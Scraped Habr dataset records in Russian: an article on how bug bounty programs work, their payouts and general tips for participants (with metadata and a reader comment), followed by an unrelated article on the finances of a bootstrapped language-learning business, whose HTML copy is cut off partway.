В этой статье я расскажу о Bug Bounty программах, их плюсах и минусах, а также как на этом зарабатывают. В первую очередь давайте определим что такое Bug Bounty: программа выплата награды за обнаружение проблем в безопасности сервисов и приложений компании. На русский язык уместнее всего это переводится как "Охота за ошибками". Т.е. это некий свод правил "взаимодействия" с информационными ресурсами компании. Обычно в него входит регламент проведения программы, перечень ресурсов, описание принимаемых уязвимостей, размеры вознаграждения. В классическом исполнении это описание того, что можно "ломать" и сколько багхантер получит за ту или иную уязвимость. Так выглядит Bug Bounty снаружи. Что это дает компании? В первую очередь непрерывный процесс "проверки на прочность": специалисты с различным уровнем знаний, инструментарием и часовыми поясами в режиме нон-стоп атакуют ресурсы компании. Со стороны компании задействованы ресурсы на: мониторинг систем; реагирование и обработка репортов; баг-фиксинг (быстры или не очень). ## Bug Bounty плюсы и минусы Теперь остановимся на плюсах и минусах Bug Bounty программ. Очевидными плюсами будет: непрерывность процесса тестирования; стоимость (выплаты вознаграждений будут меньше стоимости наемных специалистов); большое покрытие. Очевидными минусами будет: большое количество дублей; огромное количество отчетов сканеров (фолсов); узкая направленность; оспаривание и «доказательства» уязвимостей. Зачастую многие багхантеры, участвующие в программах Bug Bounty ограничиваются своими "коронными" фишками, и не исследуют что-то другое, либо наоборот, ставят под сканеры все подряд в надежде уловить хоть что-то. Это дает разноплановый, но не полный подход к тестированию. Также, огромное количество фолс срабатываний сканеров может завалить команду разработчиков ненужной работой (это и дополнительные проверки и отклики по каждому репорту — которых может быть очень много). ## Открытые программы Большинство компаний представлено на площадках — агрегаторах, таких как HackerOne или BugCrowd. Многие российские компании открыли как собственные программы, так и профили на HackerOne. Среди них такие компании, как: Яндекс, Майл.ру, QiWi, Вконтакте и многие другие. Да что говорить, если даже у Пентагона есть своя программа Bug Bounty. (Взломать Пентагон, получить деньги и остаться на свободе — похоже на мечту хакера, но уже суровая реальность). Средняя сумма выплат составляет от $200 до $1000, в зависимости от уязвимости и места ее нахождения. Вот, например, оценка стоимости обнаруженных уязвимостей в программе "Охота за ошибками" — Яндекс: A01. Инъекции 170000 руб. (критичные сервисы); 43000 руб. (прочие сервисы). A02. Межсайтовый скриптинг – A05. Межсайтовая подделка запросов 17000 руб. (критичные сервисы); 8500 руб. (прочие сервисы). A06. Ошибки конфигурации веб-окружения – A10. Открытое перенаправление 8500 руб.(критичные сервисы); 5500 руб. (прочие сервисы). ## Наиболее «дорогие ошибки» За время проведения Bug Bounty программ многие компании суммарно выплатили суммы в $ с 5 и более нулями (только Фейсбук выплатил более $5.000.000 вознаграждений), однако были и вознаграждения, которые сами по себе были довольно внушительными. Что самое интересное — баги были космического масштаба, но находились они иногда чуть-ли не методом тыка: > На баг, принесший ему $10 000, уругвайский школьник Иезекииль Перейра, наткнулся «со скуки». Студент, мечтающий сделать карьеру в области информационной безопасности, возился с сервисами Google, используя Burp Suite для подмены заголовка хоста в запросе к серверу App Engine (*.appspot.com). Большая часть попыток вернула «404», но на одном из внутренних сайтов — yaqs.googleplex.com, — внезапно обнаружилось отсутствие верификации по логину/паролю и отсутствие каких-либо намеков на защиту. Выявление известной уязвимости: > Россиянин обнаружил в программном обеспечении соцсети ошибку, которая с помощью специальной картинки позволяла запускать на ее серверах произвольный код. Для этого необходимо было воспользоваться уязвимостью в сервисе ImageMagick, предназначенном для быстрого масштабирования и конвертации изображений в новостной ленте Facebook, сообщает Лента.ру. Леонов случайно наткнулся на ошибку во время тестирования стороннего сервиса, изучил ее и представил всю необходимую информацию техническим службам Facebook, которые устранили уязвимость в ноябре 2016 года. В итоге соцсеть выплатила хакеру вознаграждение в 40 тысяч долларов. В 2014 году рекордную сумму в 33,5 тысяч долларов получил от Facebook специалист по кибербезопасности Реджинальдо Сильва. Или эпохальный взлом Facebook и обнаружение бэкдора в системе, которые принесли исследователю $10.000: Как я взломал Facebook и обнаружил чужой бэкдор. ## Хочу участвовать, что надо делать? Для тех, кто решил попробовать свои силы и возможности в поиске ошибок могу посоветовать несколько основных этапов, которые приведут к победе: Следите за новостями. Обновился скоп программы — бегом проверять новые сервисы. Производитель добавил новый функционал, расширил старый или интегрировал сторонний сервис? — большая возможность, особенно в сложной инфраструктуре допустить ошибку. Упорство. Скрупулезное исследование, не упускать никаких деталей. Хорошая практика будет периодически сравнивать результаты прошлых проверок с текущем состоянием системы. Поиск. Ищите и обрящете. Большинство крупных багов находят на "не публичных" поддоменах и директориях. Здесь вам пригодятся инструменты по выявлению поддоменов и хорошие листы словарей для брута директорий и поддоменов. Исследование. Отложите автоматические сканеры, просеивайте веб-приложение (а большинство Bug Bounty связано именно с вебом) как песок сквозь сито для поиска крупинок золота. Здесь я рекомендую использовать Burp Suite или Owasp Zap — лучше инструментов нет. Почти все крупные победы в баутни — результат работы с этими инструментами (практически на любом публичном репорте можно это увидеть). Исследуйте. Скачайте приложение для локального исследования, если это возможно. Читайте отчеты других участников — это может дать пищу для ума. Тот же взлом фейсбука — многие российские багхантеры видели этот поддомен, даже пытались с ним что-то делать — но "не докрутили". Хорошим подспорьем для этого будет ресурс: The unofficial HackerOne disclosure Timeline
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/c77/49f/47c/c7749f47ccc3cc4d44ee7f218294c4f1.jpg" alt="image" data-src="https://habrastorage.org/getpro/habr/post_images/c77/49f/47c/c7749f47ccc3cc4d44ee7f218294c4f1.jpg" data-blurred="true"/><br/> <p> <br/> В этой статье я расскажу о <a href="https://bugbounty.ru/">Bug Bounty</a> программах, их плюсах и минусах, а также как на этом зарабатывают.</p><a name="habracut"></a><br/> <p>В первую очередь давайте определим что такое <a href="https://bugbounty.ru/">Bug Bounty</a>: программа выплата награды за обнаружение проблем в безопасности сервисов и приложений компании. На русский язык уместнее всего это переводится как "Охота за ошибками".</p><br/> <p>Т.е. это некий свод правил "взаимодействия" с информационными ресурсами компании. Обычно в него входит регламент проведения программы, перечень ресурсов, описание принимаемых уязвимостей, размеры вознаграждения. В классическом исполнении это описание того, что можно "ломать" и сколько багхантер получит за ту или иную уязвимость.</p><br/> <p>Так выглядит Bug Bounty снаружи. Что это дает компании? В первую очередь непрерывный процесс "проверки на прочность": специалисты с различным уровнем знаний, инструментарием и часовыми поясами в режиме нон-стоп атакуют ресурсы компании. Со стороны компании задействованы ресурсы на:</p><br/> <ul> <li>мониторинг систем;</li> <li>реагирование и обработка репортов;</li> <li>баг-фиксинг (быстры или не очень).</li> </ul><br/> <h2>Bug Bounty плюсы и минусы</h2><br/> <p>Теперь остановимся на плюсах и минусах Bug Bounty программ.</p><br/> <p>Очевидными плюсами будет:</p><br/> <ul> <li>непрерывность процесса тестирования;</li> <li>стоимость (выплаты вознаграждений будут меньше стоимости наемных специалистов);</li> <li>большое покрытие.</li> </ul><br/> <p>Очевидными минусами будет:</p><br/> <ul> <li>большое количество дублей;</li> <li>огромное количество отчетов сканеров (фолсов);</li> <li>узкая направленность;</li> <li>оспаривание и «доказательства» уязвимостей.</li> </ul><br/> <p>Зачастую многие багхантеры, участвующие в программах <a href="https://bugbounty.ru/">Bug Bounty</a> ограничиваются своими "коронными" фишками, и не исследуют что-то другое, либо наоборот, ставят под сканеры все подряд в надежде уловить хоть что-то. Это дает разноплановый, но не полный подход к тестированию. Также, огромное количество фолс срабатываний сканеров может завалить команду разработчиков ненужной работой (это и дополнительные проверки и отклики по каждому репорту — которых может быть очень много).</p><br/> <h2>Открытые программы</h2><br/> <p>Большинство компаний представлено на площадках — агрегаторах, таких как HackerOne или BugCrowd. </p><br/> <p>Многие российские компании открыли как собственные программы, так и профили на HackerOne. Среди них такие компании, как: Яндекс, Майл.ру, QiWi, Вконтакте и многие другие. Да что говорить, если даже у Пентагона есть своя программа <a href="https://www.hackerone.com/resources/hack-the-pentagon">Bug Bounty</a>. (Взломать Пентагон, получить деньги и остаться на свободе — похоже на мечту хакера, но уже суровая реальность).</p><br/> <p>Средняя сумма выплат составляет от $200 до $1000, в зависимости от уязвимости и места ее нахождения.</p><br/> <p>Вот, например, оценка стоимости обнаруженных уязвимостей в программе "Охота за ошибками" — Яндекс:</p><br/> <ul> <li>A01. Инъекции 170000 руб. (критичные сервисы); 43000 руб. (прочие сервисы).</li> <li>A02. Межсайтовый скриптинг – A05. Межсайтовая подделка запросов 17000 руб. (критичные сервисы); 8500 руб. (прочие сервисы).</li> <li>A06. Ошибки конфигурации веб-окружения – A10. Открытое перенаправление 8500 руб.(критичные сервисы); 5500 руб. (прочие сервисы).</li> </ul><br/> <h2>Наиболее «дорогие ошибки»</h2><br/> <p>За время проведения <a href="https://bugbounty.ru/">Bug Bounty</a> программ многие компании суммарно выплатили суммы в $ с 5 и более нулями (только Фейсбук выплатил более $5.000.000 вознаграждений), однако были и вознаграждения, которые сами по себе были довольно внушительными. Что самое интересное — баги были космического масштаба, но находились они иногда чуть-ли не методом тыка:</p><br/> <blockquote>На баг, принесший ему $10 000, уругвайский школьник Иезекииль Перейра, наткнулся «со скуки». Студент, мечтающий сделать карьеру в области информационной безопасности, возился с сервисами Google, используя Burp Suite для подмены заголовка хоста в запросе к серверу App Engine (*.appspot.com). Большая часть попыток вернула «404», но на одном из внутренних сайтов — yaqs.googleplex.com, — внезапно обнаружилось отсутствие верификации по логину/паролю и отсутствие каких-либо намеков на защиту.</blockquote><p>Выявление известной уязвимости:</p><br/> <blockquote>Россиянин обнаружил в программном обеспечении соцсети ошибку, которая с помощью специальной картинки позволяла запускать на ее серверах произвольный код. Для этого необходимо было воспользоваться уязвимостью в сервисе ImageMagick, предназначенном для быстрого масштабирования и конвертации изображений в новостной ленте Facebook, сообщает Лента.ру. Леонов случайно наткнулся на ошибку во время тестирования стороннего сервиса, изучил ее и представил всю необходимую информацию техническим службам Facebook, которые устранили уязвимость в ноябре 2016 года. В итоге соцсеть выплатила хакеру вознаграждение в 40 тысяч долларов. В 2014 году рекордную сумму в 33,5 тысяч долларов получил от Facebook специалист по кибербезопасности Реджинальдо Сильва.</blockquote><p>Или эпохальный взлом Facebook и обнаружение бэкдора в системе, которые принесли исследователю $10.000: Как я взломал Facebook и обнаружил чужой бэкдор.</p><br/> <h2>Хочу участвовать, что надо делать?</h2><br/> <p>Для тех, кто решил попробовать свои силы и возможности в поиске ошибок могу посоветовать несколько основных этапов, которые приведут к победе:</p><br/> <p>Следите за новостями. Обновился скоп программы — бегом проверять новые сервисы. Производитель добавил новый функционал, расширил старый или интегрировал сторонний сервис? — большая возможность, особенно в сложной инфраструктуре допустить ошибку.</p><br/> <p>Упорство. Скрупулезное исследование, не упускать никаких деталей. Хорошая практика будет периодически сравнивать результаты прошлых проверок с текущем состоянием системы.</p><br/> <p>Поиск. Ищите и обрящете. Большинство крупных багов находят на "не публичных" поддоменах и директориях. Здесь вам пригодятся инструменты по выявлению поддоменов и хорошие листы словарей для брута директорий и поддоменов.</p><br/> <p>Исследование. Отложите автоматические сканеры, просеивайте веб-приложение (а большинство Bug Bounty связано именно с вебом) как песок сквозь сито для поиска крупинок золота. Здесь я рекомендую использовать Burp Suite или Owasp Zap — лучше инструментов нет. Почти все крупные победы в баутни — результат работы с этими инструментами (практически на любом публичном репорте можно это увидеть).</p><br/> <p>Исследуйте. Скачайте приложение для локального исследования, если это возможно. Читайте отчеты других участников — это может дать пищу для ума. Тот же взлом фейсбука — многие российские багхантеры видели этот поддомен, даже пытались с ним что-то делать — но "не докрутили". Хорошим подспорьем для этого будет ресурс: <a href="http://h1.nobbd.de/">The unofficial HackerOne disclosure Timeline</a></p></div>
Лука Сафонов (LukaSafonov)
null
null
<img src="https://habrastorage.org/getpro/habr/post_images/c77/49f/47c/c7749f47ccc3cc4d44ee7f218294c4f1.jpg" alt="image"><br> <p>&nbsp;<br> В этой статье я расскажу о <a href="https://bugbounty.ru/" rel="nofollow noopener noreferrer">Bug Bounty</a> программах, их плюсах и минусах, а также как на этом зарабатывают.</p>
В этой статье я расскажу о Bug Bounty программах, их плюсах и минусах, а также как на этом зарабатывают.
article
1,502,879,827
{ "commentsCount": 1, "favoritesCount": 75, "readingCount": 44211, "score": 32, "votesCount": 38, "votesCountPlus": 35, "votesCountMinus": 3 }
[]
[ "owasp", "infosecurity" ]
[ "develop" ]
[ "bug bounty" ]
4
null
null
{ "id": [ 10364670 ], "parent_id": [ null ], "level": [ 0 ], "time_published": [ 1502898914 ], "score": [ 1 ], "votes": [ 1 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Bug Bounty — весьма прикольная вещь. Правда есть несколько вещей, которые бесят:<br/>\r\n1) Опубликовать информацию о программе, год игнорировать сообщения, уже потом узнаешь, что программа не работает. Сколько времени людей потрачено на поиск багов.<br/>\r\n2) Вести себя как мудак, получать репорт, исправлять уязвимость и говорить, что благодарны за сообщение, но вознаграждения не будет.<br/>\r\n3) Нанять настолько тупых сотрудников, что они не могут понять то, что им пишут прямым текстом. Это вообще ад.<br/>\r\n4) И крайне скупо описывать правила программы, чтобы люди гадали, что попадает в неё, а что — нет.</div>" ], "message_markdown": [ "Bug Bounty — весьма прикольная вещь. Правда есть несколько вещей, которые бесят:\n1) Опубликовать информацию о программе, год игнорировать сообщения, уже потом узнаешь, что программа не работает. Сколько времени людей потрачено на поиск багов.\n2) Вести себя как мудак, получать репорт, исправлять уязвимость и говорить, что благодарны за сообщение, но вознаграждения не будет.\n3) Нанять настолько тупых сотрудников, что они не могут понять то, что им пишут прямым текстом. Это вообще ад.\n4) И крайне скупо описывать правила программы, чтобы люди гадали, что попадает в неё, а что — нет." ], "author": [ "pyrk2142" ], "children": [ [] ] }
301,874
ru
https://habr.com/ru/post/301874/
Бутстрэппинг — бизнес с нуля. Часть 2. Деньги
Уровень продаж мы измеряем не только цифрами на банковских счетах, но и историями изменений в жизни наших студентов, которые произошли благодаря нам. Когда бизнес создается в стенах офиса, он имеет совсем другую ауру, чем наш бизнес, который создается в семье, имея 5 детей. Эту разницу отмечают абсолютно все наши студенты и сотрудники. В этой статье речь пойдет только о цифрах, но прошу держать в голове то, что в основе всего лежит семья и максимум времени уходит на обучение и воспитание детей. На муже еще и работа в IBM. А бизнесу выделяется только то время, которое остается. # Цифры за 6 лет оборот 350 000 евро в год; 2 000 000 посетителей на сайте в год; 11 000 000 просмотров видео на YouTube-канале; 200 000 подписчиков; >1 000 000 установок наших мобильных приложений; около 5 000 студентов; у нас родилось 4 детей. # Начало Первая статья Несколько месяцев мы работали над разработкой продукта, не вкладывая вообще ничего. Первые деньги мы вложили в покупку домена eustudy.ru — 99 рублей. На создание первого дизайна сайта — $5 (пять долларов). Это были единственные инвестиции в первые 6 месяцев. Первый студент появился через 8 месяцев. На оборот 3000 евро в месяц мы вышли спустя 1,5 года. Сайт всегда работал на самоокупаемости без привлечения инвестиций со стороны. Наши инвесторы — это наши студенты. Все работы на начальном этапе делались нами с мужем по ночам, когда дети спали. Я тогда в шутку называла это время «второй сменой». Если что-то не могли сделать самостоятельно, то искали самых дешевых подрядчиков на фрилансе. Это само по себе приключение еще то, поэтому эту тему коснусь более подробно в одной из следующих статей. Дело в том, что когда на разработку того или иного проекта нужно самостоятельно заработать, то вопрос бюджета играет не последнюю роль. И тут дело не в желании сэкономить или не доплатить, а в том, чтобы найти исполнителя, который за свою работу не будет накручивать 400% прибыли только потому, что он живет в Москве или потому, что у него на эту работу уйдет в три раза больше времени потому, что он не умеет это делать быстро (недостаточно опыта). Когда ты сам с нуля поднимаешь бизнес, то в большинстве типов работ и затратах часов на них ты неплохо ориентируешься, так как сам их делал. Поэтому, уже на этапе обсуждения бюджета было понятно, с кем имеешь дело. Не знаю, у кого как, но нам было страшно отдавать кому-то часть работы и платить деньги, которые доставались с трудом, не себе, а кому-то другому. Плюс, мы неоднократно сталкивались с обманом и воровством со стороны преподавателей и фрилансеров. Первые 3 года все деньги, которые мы зарабатывали, мы сразу реинвестировали в бизнес, ничего не вынимая. Благо, муж работал в IBM и деньги на жизнь семьи были. Из своих личных денег мы оплатили бизнес обучение в компании Richdad Роберта Кийосаки. Обучение стало нам около $7000, когда сайт приносил только 500-600 евро в месяц и было совершенно непонятно, как развиваться дальше. Вложенные в обучение деньги окупились уже через 2 месяца к нашему несказанному удивлению. Мы просто самоотверженно выполняли все задания, которые были в том нелегком учебном курсе. С того момента мы поняли, что на своем обучении экономить нельзя, и теперь всегда, когда мы доходим до определенной точки развития и нам не хватает знаний и опыта, мы обращаемся за помощью к профессионалам. За платной помощью. Говорить о стабильном денежном потоке и прибыли мы смогли только лишь через 2 года напряженной работы. И дело не столько в нашем неумении вести бизнес, сколько в разработке принципиально нового продукта, который полностью отсутствовал на рынке. Плюс смена сознания потенциальных клиентов. На это требуется время. Но никак не деньги. # Расходы Здесь я укажу только основные наши затраты. ## Зарплаты сотрудников На них уходит порядка 60% оборота. Убрать человеческий фактор в нашей работе мы просто не можем. Мы работаем с людьми и изначально создавали проект «с человеческим лицом». В основу заложено общение с каждым клиентом лично. Для этого на сайте есть языковая поддержка, техподдержка, менеджер по работе со студентами, преподаватели (русские и носители). Плюс, абсолютно все материалы, которые есть на сайте, — это наши собственные разработки. За методическую работу мы платим постоянно вот уже на протяжении 5 лет. К прошлой статье в комментариях был вопрос, как при обороте около 30.000 евро в месяц можно содержать 40 сотрудников. Во-первых, не все 40 человек работают одновременно. Во-вторых, разрабатывая системы (а именно это мы и делаем), ты не зависишь от человека и его запросов. Разработав один раз системы, у нас развязались руки. Мы перестали быть зависимыми от степени профессионализма того или иного преподавателя, от его запросов и его места жительства. Например, мы принципиально не работаем с Москвой и Киевом. Раньше в этом списке был и Санкт-Петербург, но сейчас у нас есть несколько адекватных людей и из этого города. Адекватных — это значит, что стоимость своих услуг они высчитывают не из стоимости проживания в своем городе, а исходя из своих навыков и выполняемой работы. На позицию преподавателей, которые работают с начинающими студентами, подходит человек и из провинциального города, если он разбирается в том, что он делает. Например, предпочтения мы отдавали и отдаем людям из небольших городов. Старались и стараемся не брать русскоговорящих преподавателей, проживающих на территории Евросоюза, потому что стоимость часа их работы определяется не их навыками, а уровнем расходов на жизнь в их стране. Например, еда, транспорт и съем квартиры, которые мы оплачиваем в виде зарплаты, сильно отличаются в Лондоне, Москве и Мариуполе. На уровень зарплаты влияет исключительно среда обитания сотрудника. Человек, который переедет из Мариуполя в Москву, новых навыков не приобретет, но его запрос по зарплате увеличится раз в *надцать. Из своего опыта 100% могу сказать, что залогом успешного преподавания и обучения является умение чувствовать студента и стремление ему помочь. Чаще это встречается у людей, которые не зациклены на себе и своих регалиях. Тут нужно не себя рекламировать и пиарить, а человеку помочь. Поэтому люди из маленьких городов нам подходят больше. Нам неудобно работать со столицей не только по финансовым, но и по моральным соображениям. Еще момент. Если привлечь на работу мегаменеджера из Яндекса или другой корпорации, то только на его зарплату нам пришлось бы привлекать сторонних инвесторов :) И тогда, конечно, можно было бы в прессе писать про то, что наш проект привлек огромные многомиллионные инвестиции. О других тонкостях работы с персоналом я расскажу в отдельной части. В-третьих, аудитория читателей на хабре — это IT-шники, ваша работа никогда не была низкооплачиваемой, поэтому не стоит исходить из цифры 1500-2500 евро в месяц. В преподавании расценки в несколько раз меньше. Кстати, по поводу стоимости работ и качества работ многих IT-шников отдельно напишет мой муж в разделе, касающемся фриланса и персонала. Опыт еще тот. Ценообразование и «профессионализм» просто приводили в ужас. ## Банковские проценты Тут, конечно, кошмар. Порядка 10% всего оборота уходит банкам. За конверсии, оплаты картами, проценты за переводы заграницу, выплату зарплат и пр. Притом, банки откусывают по чуть-чуть и незаметно. Но на каждой транзакции. На дешевых продуктах банки забирают 4 евро из 7, то есть почти 60% от стоимости. ## Инвестиции в развитие Оставшиеся 30% мы реинвестируем в бизнес и оставляем в виде прибыли. Притом, инвестиции всегда приоритет. В прибыль уходит только то, что не успели освоить. Например, разработка курса из семи уроков по любому языку обходилась поначалу около 800-1000 евро. И этот материал выкладывался в бесплатный доступ, чтобы с ним мог работать любой желающий. Сейчас, если сосчитать все материалы по языку в бесплатном доступе (раздел грамматики, упражнения, видео уроки, курс песен, обработка звука, верстка материалов на сайт, мобильные приложения) – минимум еще 6000-8000 евро. То есть создание бесплатных материалов на 1 язык обходится около 9000 Евро единовременных затрат. Потом плюс поддержка и постоянные обновления по несколько сотен евро в год. Все наши бесплатные материалы мы считаем нашей визитной карточкой. Нас «продают» наши же пользователи и студенты, которые увидели на себе эффективность занятий с нами, и рекомендуют нас дальше. Можно было, конечно, эти же деньги вложить в рекламные кампании (если сложить все затраты на все языки, то получается очень внушительная сумма), но, прежде всего, нам хотелось создать что-то действительно полезное для людей, сделать качественный продукт и сделать его доступным каждому. Во-вторых, по нашей практике, в рекламу просто тупо сливается бюджет, без каких-либо гарантий и измеримой отдачи. То есть, если вкладываться в материалы, то это приносит пользу людям и остается за нами в долгосрочной перспективе. Если в рекламу, то это деньги в никуда и это не приносит никакой пользы конечному потребителю. Отдельно разрабатываются платные курсы, по которым занимаются наши студенты на курсах по скайпу. Они влекут за собой дополнительные затраты. Из того, что остается после зарплат, банков и инвестирований в развитие, оплачиваются все налоги, юристы, бухгалтера и вся материальная база. ## Маркетинг и реклама За все эти годы в эти направления мы ~~инвестировали~~ растратили около 30.000 евро (из них зарплата маркетологов около 12.000 евро). Все эти мероприятия должны были привести нам студентов на наши платные курсы. Это деньги, которые не увеличили никоим образом нам конверсию и количество студентов. Отдача была чуть больше нуля. Мы пробовали разные способы, но результат практически всегда был нулевой. Платные ссылки, платные статьи, контекстная реклама, реклама в соцсетях, редизайны сайта, переделка блога, вебинары — все это в нашем случае не сработало. Но по факту, что у нас работает — это «сарафанное радио», новые продукты, email рассылка, которую веду я, мои статьи и видео, бесплатные материалы на сайте и постпродажное обслуживание существующих студентов (в-основном, они идут к нам на второй язык). 20-25% новых студентов — это друзья и знакомые тех, кто у нас уже занимался. Мы не ожидали такого показателя и он нас очень радует. Чисто по-человечески. Притом этот процент стабилен вот уже на протяжении двух лет. Последние полгода мы не тратим ни одного евро на рекламу и маркетинг, а рост количества студентов стабилен. То есть тренд сохраняется. Однако мы понимаем, что нам нужно развивать маркетинг и рекламу для роста продаж. Но пока нет у нас идей, как это можно сделать и нет человека, который мог бы нам это организовать. Поэтому мы и решили остановить пустую трату денег до того момента, когда у нас появится грамотный маркетолог. Пока что мы такого не нашли, хотя ищем сильно и долго. Если кто есть на примете — свистите ;) ## Юристы и бухгалтера В Чехии они нам обходятся примерно в 4000-6000 евро в год, смотря, какие вопросы решаются. Оформление торговых марок и защита своей интеллектуальной собственности нам обошлись порядка 6000 евро. ## Налоги Налог на прибыль в Чехии это 20% от чистой прибыли. Не от оборота. Надо отдать должное финансовым институтам Чехии: здесь все налоги и вся коммуникация с правительственными органами построена настолько просто и понятно, что нам не составляет никаких проблем с этим разобраться самостоятельно. Практически все вопросы решаются звонками и в электронной форме. Ну и наши бухгалтеры нам с этим здорово помогают. # Прибыль Среднегодовая прибыль нашей компании порядка 10% от оборота. Мы практически все, что зарабатываем, сразу же реинвестируем обратно в бизнес. Это чистой воды бутстрэппинг. Если приостановить развитие и просто вынимать деньги, то можно достичь прибыли в 10-20% от оборота. Если перейти в режим «дойки», то и 30%, думаю, не предел. Но это убьет бизнес в долгосрочной перспективе. Понимаю, что для российской экономики проценты смешные, но нам, как европейской компании, нужно работать в соответствии с законами, поэтому прибыльность 10% мы считаем нормальной. Но есть еще один момент, который очень удобен для нас, как для семьи. Все расходы на автомобиль и поездки оплачиваются из фирменных денег и снижают чистую прибыль, соответственно налоги. Зачастую походы в ресторан также проводим как фирменные расходы. Компьютерная техника, интернет туда же. Мы при этом не тратим свои личные сбережения, что может расцениваться как дополнительный семейный доход. В следующей статье я расскажу, как в 2014 году мы пережили свой первый большой финансовый кризис.
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/files/bbc/cfb/906/bbccfb906fb94bf2ba9488b08e5d06f2.jpg" data-src="https://habrastorage.org/files/bbc/cfb/906/bbccfb906fb94bf2ba9488b08e5d06f2.jpg" data-blurred="true"/><br/> <br/> Уровень продаж мы измеряем не только цифрами на банковских счетах, но и историями изменений в жизни наших студентов, которые произошли благодаря нам.<br/> <br/> Когда бизнес создается в стенах офиса, он имеет совсем другую ауру, чем наш бизнес, который создается в семье, имея 5 детей. Эту разницу отмечают абсолютно все наши студенты и сотрудники.<br/> <br/> В этой статье речь пойдет только о цифрах, но прошу держать в голове то, что в основе всего лежит семья и максимум времени уходит на обучение и воспитание детей. На муже еще и работа в IBM. А бизнесу выделяется только то время, которое остается.<br/> <br/> <h1>Цифры за 6 лет</h1><br/> <ul> <li>оборот 350 000 евро в год;</li> <li>2 000 000 посетителей на сайте в год;</li> <li>11 000 000 просмотров видео на YouTube-канале;</li> <li>200 000 подписчиков;</li> <li>>1 000 000 установок наших мобильных приложений;</li> <li>около 5 000 студентов;</li> <li>у нас родилось 4 детей.</li> </ul><br/> <a name="habracut"></a><br/> <h1>Начало</h1><br/> <a href="https://habrahabr.ru/company/speakasap/blog/301350/">Первая статья</a><br/> <br/> Несколько месяцев мы работали над разработкой продукта, не вкладывая вообще ничего. Первые деньги мы вложили в покупку домена <a href="http://eustudy.ru">eustudy.ru</a> — 99 рублей. На создание первого дизайна сайта — $5 (пять долларов). Это были единственные инвестиции в первые 6 месяцев.<br/> <br/> Первый студент появился через 8 месяцев.<br/> На оборот 3000 евро в месяц мы вышли спустя 1,5 года.<br/> Сайт всегда работал на самоокупаемости без привлечения инвестиций со стороны.<br/> Наши инвесторы — это наши студенты.<br/> <br/> Все работы на начальном этапе делались нами с мужем по ночам, когда дети спали. Я тогда в шутку называла это время «второй сменой».<br/> <br/> Если что-то не могли сделать самостоятельно, то искали самых дешевых подрядчиков на фрилансе. Это само по себе приключение еще то, поэтому эту тему коснусь более подробно в одной из следующих статей.<br/> <br/> Дело в том, что когда на разработку того или иного проекта нужно самостоятельно заработать, то вопрос бюджета играет не последнюю роль. И тут дело не в желании сэкономить или не доплатить, а в том, чтобы найти исполнителя, который за свою работу не будет накручивать 400% прибыли только потому, что он живет в Москве или потому, что у него на эту работу уйдет в три раза больше времени потому, что он не умеет это делать быстро (недостаточно опыта).<br/> <br/> Когда ты сам с нуля поднимаешь бизнес, то в большинстве типов работ и затратах часов на них ты неплохо ориентируешься, так как сам их делал. Поэтому, уже на этапе обсуждения бюджета было понятно, с кем имеешь дело.<br/> <br/> Не знаю, у кого как, но нам было страшно отдавать кому-то часть работы и платить деньги, которые доставались с трудом, не себе, а кому-то другому. Плюс, мы неоднократно сталкивались с обманом и воровством со стороны преподавателей и фрилансеров.<br/> <br/> Первые 3 года все деньги, которые мы зарабатывали, мы сразу реинвестировали в бизнес, ничего не вынимая. Благо, муж работал в IBM и деньги на жизнь семьи были.<br/> <br/> Из своих личных денег мы оплатили бизнес обучение в компании Richdad Роберта Кийосаки. Обучение стало нам около $7000, когда сайт приносил только 500-600 евро в месяц и было совершенно непонятно, как развиваться дальше.<br/> <br/> Вложенные в обучение деньги окупились уже через 2 месяца к нашему несказанному удивлению. Мы просто самоотверженно выполняли все задания, которые были в том нелегком учебном курсе.<br/> <br/> С того момента мы поняли, что на своем обучении экономить нельзя, и теперь всегда, когда мы доходим до определенной точки развития и нам не хватает знаний и опыта, мы обращаемся за помощью к профессионалам. За платной помощью.<br/> <br/> Говорить о стабильном денежном потоке и прибыли мы смогли только лишь через 2 года напряженной работы.<br/> <br/> И дело не столько в нашем неумении вести бизнес, сколько в разработке принципиально нового продукта, который полностью отсутствовал на рынке. Плюс смена сознания потенциальных клиентов. На это требуется время.<br/> <br/> Но никак не деньги.<br/> <br/> <h1>Расходы</h1><br/> Здесь я укажу только основные наши затраты.<br/> <br/> <h2>Зарплаты сотрудников</h2><br/> На них уходит порядка 60% оборота.<br/> <br/> Убрать человеческий фактор в нашей работе мы просто не можем. Мы работаем с людьми и изначально создавали проект «с человеческим лицом». В основу заложено общение с каждым клиентом лично. Для этого на сайте есть языковая поддержка, техподдержка, менеджер по работе со студентами, преподаватели (русские и носители).<br/> <br/> Плюс, абсолютно все материалы, которые есть на сайте, — это наши собственные разработки. За методическую работу мы платим постоянно вот уже на протяжении 5 лет.<br/> <br/> К <a href="https://habrahabr.ru/company/speakasap/blog/301350/">прошлой статье</a> в комментариях был вопрос, как при обороте около 30.000 евро в месяц можно содержать 40 сотрудников.<br/> <br/> Во-первых, не все 40 человек работают одновременно.<br/> <br/> Во-вторых, разрабатывая системы (а именно это мы и делаем), ты не зависишь от человека и его запросов.<br/> Разработав один раз системы, у нас развязались руки. Мы перестали быть зависимыми от степени профессионализма того или иного преподавателя, от его запросов и его места жительства. <br/> <br/> Например, мы принципиально не работаем с Москвой и Киевом. Раньше в этом списке был и Санкт-Петербург, но сейчас у нас есть несколько адекватных людей и из этого города. Адекватных — это значит, что стоимость своих услуг они высчитывают не из стоимости проживания в своем городе, а исходя из своих навыков и выполняемой работы. На позицию преподавателей, которые работают с начинающими студентами, подходит человек и из провинциального города, если он разбирается в том, что он делает.<br/> Например, предпочтения мы отдавали и отдаем людям из небольших городов.<br/> <br/> Старались и стараемся не брать русскоговорящих преподавателей, проживающих на территории Евросоюза, потому что стоимость часа их работы определяется не их навыками, а уровнем расходов на жизнь в их стране. Например, еда, транспорт и съем квартиры, которые мы оплачиваем в виде зарплаты, сильно отличаются в Лондоне, Москве и Мариуполе.<br/> <br/> На уровень зарплаты влияет исключительно среда обитания сотрудника.<br/> <br/> Человек, который переедет из Мариуполя в Москву, новых навыков не приобретет, но его запрос по зарплате увеличится раз в *надцать.<br/> <br/> Из своего опыта 100% могу сказать, что залогом успешного преподавания и обучения является умение чувствовать студента и стремление ему помочь. Чаще это встречается у людей, которые не зациклены на себе и своих регалиях. Тут нужно не себя рекламировать и пиарить, а человеку помочь.<br/> 